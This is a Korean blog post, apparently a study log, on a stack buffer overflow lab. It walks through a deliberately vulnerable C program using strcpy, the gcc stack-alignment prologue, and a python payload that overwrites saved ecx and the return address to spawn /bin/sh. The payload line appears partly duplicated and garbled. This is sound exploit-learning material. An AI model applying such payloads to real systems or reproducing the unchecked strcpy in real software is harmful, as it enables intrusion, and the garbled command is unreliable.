Self-Improvement

gcc Dummy 옵션(-mpreferred-stack-boundary) 존재 상태에서 스택 버퍼 오버플로우 실습 (Stack Buffer OverFlow) 본문

리버싱 기초

gcc Dummy 옵션(-mpreferred-stack-boundary) 존재 상태에서 스택 버퍼 오버플로우 실습 (Stack Buffer OverFlow)

JoGeun 2020. 5. 19. 14:45
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <string.h>
#include <stdio.h>
 
void func2(){
 
        system("/bin/sh");
}
 
int main(int argc, char *argv[]){
        int num=0;
        char arr[10];
 
        strcpy(arr, argv[1]);
        printf("arr: %s\n", arr);
        return 0;
}
 
cs

소스코드는 간단히 입력받은 값을 strcpy를 수행한 후 printf로 출력하는 것이다.

gcc 컴파일 시 Dummy 제거 옵션을 주고 스택 버퍼 오버플로우를 일으키는 것은 쉽지만 그냥 컴파일 시 Dummy와 ret 포인터?가 생겨 오버플로우를 일으키는 방식이 조금 달라지게 되어 기록하고자 하여 작성했다.

Dummy 옵션 유무 조차 모르고 삽질을 했었다

 

먼저 Dummy 옵션없이 소스코드를 컴파일하여 확인해본다.

Main 시작 부분에서 "lea ecx, [esp+0x4]"를 시작으로 평소에 "push ebp"로 시작했었지만 보지 못했던 인스트럭션이 존재하게 된다.

Main 마지막에선 ret 전에 "lea esp,[ecx-0x4]"가 새로 생겼다.

strcpy 함수로 인해 오버플로우는 될 것이다.

필자가 분석?을 해본 결과 <Main+7>의 "push DWORD PTR ecx-0x4"이 ret가 되며 <Main+14>의 "push ecx"가 되고 <Main+119>에서 ecx의 주소-4가 가르키는 주소를 ESP 주소로 할당하며 ret가 되어진다.

 

EBP가 0xbffff5e8인 상황에서 다시 말하자면 0xbfffff5e0의 값이 <Main+14>의 "push ecx"이며

<Main+113>에서 "lea esp, [ebp-0x8]"로 [ebp-0x8]의 주소 0xbfffff5e0을 ESP에 할당하고 

<Main+116> "pop ecx" 위의 인스트럭션으로 인해 ESP는 0xbfffff5e0이 되어 pop ecx할 시 해당하는 값 0xbffff600이 ecx에 할당된다.

<Main+119> "lea esp,[ecx-0x4]"로 ecx-0x4는 ret와 동일한 값인 0xb7e21637의 주소 0xbffff5fc가 ESP로 할당된다.

그리고 ret를 통해 0xbffff5ec에 있는 0xb7e21637 주소로 돌아가게 된다.

써놓고도 무슨말인지.. 몰르곘네

오버플로우를 일으키기 위해선 위의 상황들(0xbffff600, 0xb7e21637)의 조건을 맞춰줘야 한다.

오버플로우를 일으키기 위해선 위의 상황들의 조건을 맞춰줘야 한다.

 

위 설명한 주소값은 다를 수 있다.

"push ecx"한 값과 실제 ret, ret포인터 를 살려줘야 하는게 핵심이다.

Payload = buf +<main+14>의 "push ecx"값 + 8byte + func2함수 주소(ret) + 12byte + fun2함수 주소(ret 포인터?)
r `python -c 'print "A"*14+r `python -c 'print "A"*14+"\xd0\xf5\xff\xbf"+"B"*8+"\x6b\x84\x04\x08"+"B"*12+"\x6b\x84\x04\x08"'`

이런식으로 하면 오버플로우로 ret 주소를 func2 함수 주소로 변경하게 되며 func2 함수의 system이 동작되어 쉘을 얻을 수 있다.